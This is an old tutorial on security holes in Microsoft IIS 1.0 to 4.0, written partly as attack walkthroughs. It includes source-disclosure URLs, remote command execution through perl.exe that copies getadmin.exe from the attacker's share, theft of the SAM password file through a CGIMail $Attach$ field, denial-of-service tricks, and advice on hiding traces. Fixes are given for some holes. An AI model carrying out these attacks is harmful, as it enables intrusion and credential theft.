Internet Information
Server is Microsoft's web,ftp and gopher package designed for Windows NT Server.
The latest version of IIS is 4.0, with there having been versions 1.0, 2.0
and 3.0. There is also a product called Peer Web Services; this was designed
for NT Workstation. When I refer to IIS this also includes PWS unless otherwise
stated. IIS seemlessly ties into NT and its authentication
procedures where as some other Web servers built for NT use their own.
This leads us neatly onto our next topic:
The
Default Directory Structure
A default install will lead to a number of new directories and files being
created. The image below depicts those directories and files created by
an install of IIS 3.0
Read
and Execute Permissions.
An administrator can specifiy what "permissions" a directory has defining
what actions IIS is supposed to perform on files requested from those directories.
If the file is actually a script or .exe and it is supposed to be run by
the server to produce dynamic output then the directory needs the "Execute"
permission. If this permission is not granted then the file will be transferred
to the requestor un-executed and only if the "Read" permission is given.
To clarify this:
All html files and image/sound files should be stored in a directory that has the "READ" permission.
All scripts and exes should be stored in a directory that has the "EXECUTE" permission.
If "EXECUTE" is the only permission granted then a user cannot be transferred any unproccessed file. As we will see later if the directory has both "READ" and "EXECUTE" permissions enabled this can lead to a server compromise.
A default install of IIS - in other words - IIS without patches and each version at that, has a number of security holes. Those bugs and "features" that have been discovered (or rather announced) have been patched or there are feasible work arounds for. The list I provide here is hopefully fairly comprehensive - if I miss anything, check the rest of this document just in case it is mentioned elsewhere and if it isn't, and you want to, mail me from here. I'll be happy to add it with proper credits.
Source is a wonderful thing...
All versions of IIS have been affected, one way or another, by remote users managing to gain the source of files that should be executed - such as Active Server Pages (.asp), Internet Database Connector (.idc) files or scripts for Perl or Python. Being able to get the raw source of these files is a big security issue - in the fact that often they contain users IDs and passwords. There are a number of different ways the source can be obtained depending on the version of IIS. Note - these tricks only works if the virtual directory that file is stored in has both the "READ" and "EXECUTE" permissions.
This affects IIS versions upto 3.0. By appending a . (fullstop) or more to the end of the URL: http://www.server.com/scripts/default.asp. Other variations of this are appending:
Method 2
By directly accessing the un-named data stream. To do this append ::$DATA to the end of the URL: http://www.server.com/database.idc::$DATA . This was discovered by Paul Ashton.
Perl is an easy scripting language to get to grips with and consequently is quite popular. Many of the CGI scripts for NT out there are written for perl to interpret.
Internet Information Server can be configured to allow the execution of Perl scripts for producing interactive dynamic web pages. The interpreter for these Perl scripts on Windows NT is perl.exe found in the c:\perl5\bin (default) directory. There are a few ways to enable the running of these perl scripts. The proper way is to add a registry entry :
HKEY_LOCAL_MACHINE
*.pl "c:\perl5\bin\perl.exe %s %s"
Another way of doing it is to have a copy of perl.exe in the c:\inetpub\scripts directory. A remote user can then enter a url like
http://www.server.com/scripts/perl.exe?test.pl
To run a perl script from a command prompt you do the following:
C:\perl5\bin>perl.exe test.pl
Perl.exe can take some command line options….one of these being the –e option. This allows you to execute a single perl command. For example:
C:\perl5\bin>perl.exe -e "print (‘Hello, World’);"
This will print "Hello, World" on the screen. We now know that from a command line we can execute any arbriatry command we want - and this holds true from across the web. We can now execute or attempt to any command we desire.
To gain entry though we use the system() function. This tells perl to run the command held between the brackets:
For the attack the first command we issue is:
This will cause the remote computer to map a v: drive to my "foo" share. I then copy getadmin.exe and gasys.dll to the c:\inetpub\scripts directory with the following URL:
http://www.server.com/scripts/perl.exe?-e%20"system('copy%20v:\\g*%20c:\\inetpub\\scripts');"
Once this is copied I then ascertain the name of the anonymous internet account if it isn't the default but if it is then I issue the following URL:
assuming the computer is called SATURN. The anonymous account is now a member of the local Administrators group and can create user accounts:
I now have my very own account which I also add to the administrators group. In reality this exploit sometimes has more stumbling blocks thrown in your way but persistence will eventually win through. Once the attack is completed the it would be best for the attacker to modify the relevant files to hide their traces.
The obvious way to stop this kind of attack is not to have perl.exe in the /scripts or any other executable directory.
Another problem with some versions of perl.exe (eg 5.001 build 110) is that it can be used to glean information from files that should not be readable (eg .asp or .idc), possibly even passwords and user IDs. This works even on directories with the "EXECUTE" permission only. The problem is caused by IIS not checking for a file's existence before passing control to a command interpreter. IIS 4.0 can do this, but it does not do it by default. Other versions of IIS don't have this capability. Basically what you do is request a file and append %20.pl to the end of the URL:
IIS receives this request and assumes it is a request for a perl script due to the extention so it passes the request to perl.exe. Perl, when it receives the instruction to execute default.asp treats the .pl as an argument. It goes ahead and tries to run the "commands" in the file but can't because it is not a valid perl script. Due to its verbosity in the error messages spawned by the file not being a real script you can glean information from the file. To see this working create a text file and call it passwd.txt. Enter "webadmin" (the user ID) on one line and "secret!" (the password) on another. Save it to your scripts directory and enter the following URL:
You should, depending upon your version of perl.exe receive the following output:
Some web cgi scripts require password files like these. Depending on how any .asp or .idc files are written you may be able to extract userIDs and passwords.
Again another problem is that some versions of perl.exe will accept wildcards such as * or ?. Request:
and perl.exe will open the first .pl it comes across in the directory. You can ask for *.asp%20.pl or d*.idc%20.pl - these will do fine.
To stop this problem from happening use the ISAPI perl interpreter instead PerlIS.dll. This provides for better performance anyway because only one instance is ever loaded into memory. For each concurrent perl script request a new instance of perl.exe is loaded into its own memory space. This behaviour was discovered by Mnemonix.
Getdrvrs.exe and others...
When IIS is installed it will create a tools sub-directory off of the /scripts directory. It will place a number or related .exes in here that are used for creating ODBC datasources for online databases. These executables leave cause two security concerns. The first is that using these .exes a remote attacker can create a file with any extention in any directory that the anonymous internet account has NTFS write permissions to. If FAT is in use then they can write to anywhere. The exe that creates the file is actually dsnform.exe. Lets say they had write access to any of your directories with the "execute" permission. If they knew the real path to this directory they can create a file with a .exe extention - eg run.exe. Assuming they have write permissions to your scripts directory they would enter the following URLs:
From here they would choose the *.mdb option and be taken to:
Here they would enter a datasource name to create (can be anything you want)and then specifies the database name. This is where the attacker would enter something like c:\inetpub\scripts\run.exe. They then click on create datasource (making sure that "Create new database with this name" is checked). They should be taken to the following:
After they had created run.exe they enter the following URL:
Because run.exe is not a real executable and is infact an mdb file with a .exe extention it has problems executing. Create the file and run it from a command prompt. You'll see invalid CPU calls and it will ask you to "Terminate" or "Ignore". What actually happens is NT tries running it and thinks it's a 16-bit program so will launch an NTVDM (NT's Virtual DOS machine - for running 16-bit apps). Now if this is run via the web because it is non-interactive with the desktop you don't get the prompt to terminate or ignore - the NTVDM just hangs. If this attacker now refreshes his page a number of times you'll soon start to eat into your virtual memory - a new NTVDM is loaded each time. By the way - this invalid CPU call is actually an NTVDM buffer overflow - there is no known way to execute arbitary code with it - you'll need to inject your assembly code into the run.exe mdb file and this can't be done from across the web without having some other means to do this. This is a simple denial of service.
The other problems with this set of executables is that existing datasources can be modifed if the database file name is known - instead of choosing "Create new database with this name" choose "This is an existing Access database". This will re-write the ODBC database making it now inaccessible - another Denial of service attack.
CGIMail.exe is a Web to e-mail gateway program written by Stalkerlabs for a Win32 platform, that is Windows NT or Windows 95. Basically, you fill in an on-line form and it is e-mailed off. The contents of the form, amongst other things, contains the following :
<form action="/scripts/CGImail.exe" method="POST" NAME="TestForm">
<input type=hidden name="$File$" value="/scripts/template.txt">
<input type=hidden name="$Subject$" value="CGImail Example">
<input type=hidden name="$LocationOK$" value="/ok.html">
<input type=hidden name="$LocationKO$" value="/ko.html">
<input type=hidden name="$To$" value="mnemonix@globalnet.co.uk">
<input type=hidden name="$Optional$" value="mmmh, no!">
There is also another possible "hidden" input type and this takes the following shape:
This allows you to attach a file to the e-mail - any file the IUSR_COMPUTERNAME account has access to. So if the NT server is poorly configured as far as security is concerned you could put in "c:\winnt\repair\sam._" as the input’s value:
<input type=hidden name="$Attach$" value="c:\winnt\repair\sam._">
Note – Using %windir% won’t work – you need the full path. So here’s how the hack would go : You go to their form page and view the source. Save this source to the desktop and make some editions to it, like put your e-mail address in (use a temporary one!) and put the $Attach$ entry in. Save these changes and then load the new page and click on send. All things going well you should receive a compressed copy of their SAM which you can then get to work on, using l0phtcrack to glean the passwords.
CGIMail can be made more secure: the cgimail.ini can be edited so that only certain referrers are accepted but only around 50% of the machines I’ve seen with this on have configured it so.
Microsoft's FrontPage extentions comes with a utility called fpcount.exe - this is used as a webhit counter. If you access this program directly you can cause a buffer over flow and/or tie up the processor at 100%. The two can be combined into a denial of service attack that will cause IIS to stop servicing requests:
Note here we are asking fpcount to calculate to 10000 digits. This will cause the buffer overrun and Dr Watson, or whatever the specified debugger is, will kick in saying so. When Dr Watson loads here it takes up about 4000K of memory. If an attacker reloads the page a number of times the remote machine will soon run dry of memory. To then finally kill IIS an attacker would enter the following URL:
With this negative integer the program's buffer won't overflow and will tie up the processor at 100% while it tries to generate 10000 digits. The largest number I've been able to send without problems is -99999999. This will kill IIS for upto 10 hrs depending on the speed of the processor. Even when it has finished calculating it is still short on available memory.
This behaviour was discovered by Mnemonix. Microsoft have since updated fpcount.exe, having acknowledged there being a problem with the old one. You can get the updated version with FrontPage Extentions 98.
**** EXplain
Usually the search page can be found at:
Index Server 1.0 had bug whereby it would return documents that the 'searcher' wouldn't normally be able to view, not having the proper NTFS permissions, but this was resolved with version 1.1.
The largest problem with Index Server, though, is the fact that searches for file types can be performed. If Index Server is left with the default configuration then all virtual directories will be indexed - even the /scripts directory and any other directory that has the "EXECUTE" permission. Thus a search for:
will give a list of the CGI executables that an attacker could use to break (into) the machine. It is amazing how often perl.exe will turn up in a search like this. Index Server can be told which directories to index fromt the admin page found at:
Also related to this problem is that once a page has been found, you can view the whole documnet by clicking on the "Show Highlights (Full Text)" link and if the page is a .asp or .idc or any other file that should be executed you can see the raw source - and in this there is potential for discovering user IDs and passwords. Perform a search for:
or
#filename=*.idc
The program that allows this functionality is webhits.exe. Sometimes the *results page* will have had this link removed so viewing source like this 'cannot' happen - 'cannot' because if webhits.exe is still in the /scripts/samples/search directory you can create your own URL to do the same job. There is also a copy in the /scripts/srchadm directory
A LOT MORE COMING......